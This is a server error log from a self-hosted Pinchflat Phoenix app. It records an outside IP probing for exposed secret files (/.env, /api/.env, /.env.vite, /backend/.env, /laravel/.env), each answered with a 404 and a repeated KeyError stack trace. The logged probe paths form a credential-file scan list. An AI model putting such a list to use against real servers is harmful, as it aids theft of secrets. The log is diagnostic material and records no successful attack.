:phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAe_EBXIwtTVAACLsh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status (truncated) 15:40:10.914 [info] GET /api/.env 15:40:10.915 [debug] QUERY OK source="settings" db=0.1ms idle=310.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:10.915 [debug] QUERY OK source="settings" db=0.0ms idle=207.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:10.915 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:10.915 [error] #PID<0.21327.0> running PinchflatWeb.Endpoint (connection #PID<0.21326.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /api/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21326.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51546}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21327.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAe_cuLb9dKdAACLtB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21326.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51546}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /api/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21326.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/api/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51546}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21327.0>, params: %{}, path_info: ["api", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/api/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAe_cuLb9dKdAACLtB"} ], scheme: :http, script_name: [], secret_key_base: : (truncated) 15:40:11.018 [info] GET /.env.vite 15:40:11.018 [debug] QUERY OK source="settings" db=0.1ms idle=310.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.018 [debug] QUERY OK source="settings" db=0.0ms idle=207.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.019 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:11.019 [error] #PID<0.21329.0> running PinchflatWeb.Endpoint (connection #PID<0.21328.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /.env.vite ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21328.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vite", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51550}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21329.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.vite", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAe_1c8-ZgNQoABcAi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21328.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vite", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51550}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21328.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vite", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51550}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21329.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/.env.vite", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAe_1c8-ZgNQoABcAi"} ], scheme: :http, script_name: [], secret_key_base: : (truncated) 15:40:11.122 [info] GET /backend/.env 15:40:11.122 [debug] QUERY OK source="settings" db=0.1ms idle=207.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.122 [debug] QUERY OK source="settings" db=0.0ms idle=207.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.122 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:11.123 [error] #PID<0.21331.0> running PinchflatWeb.Endpoint (connection #PID<0.21330.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /backend/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21330.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51554}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21331.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfAOMFIyl57IACLth"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21330.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51554}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /backend/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21330.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/backend/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51554}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21331.0>, params: %{}, path_info: ["backend", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/backend/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfAOMFIyl57IACLth"} ], scheme: :http, scrip (truncated) 15:40:11.228 [info] GET /laravel/.env 15:40:11.228 [debug] QUERY OK source="settings" db=0.1ms idle=209.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.229 [debug] QUERY OK source="settings" db=0.0ms idle=209.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:40:11.229 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:40:11.229 [error] #PID<0.21333.0> running PinchflatWeb.Endpoint (connection #PID<0.21332.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /laravel/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21332.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51568}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21333.0>, params: %{}, path_info: ["laravel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "keep-alive"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.60"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "185.177.72.60"} ], request_path: "/laravel/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GJMAfAniGCLJU_cABcBC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21332.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51568}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.21332.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/.env", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 51568}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "keep-alive", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.60", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "185.177.72.60" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, has_body: false, streamid: 1 }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.21333.0>, params: %{}, path_info: ["laravel", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} 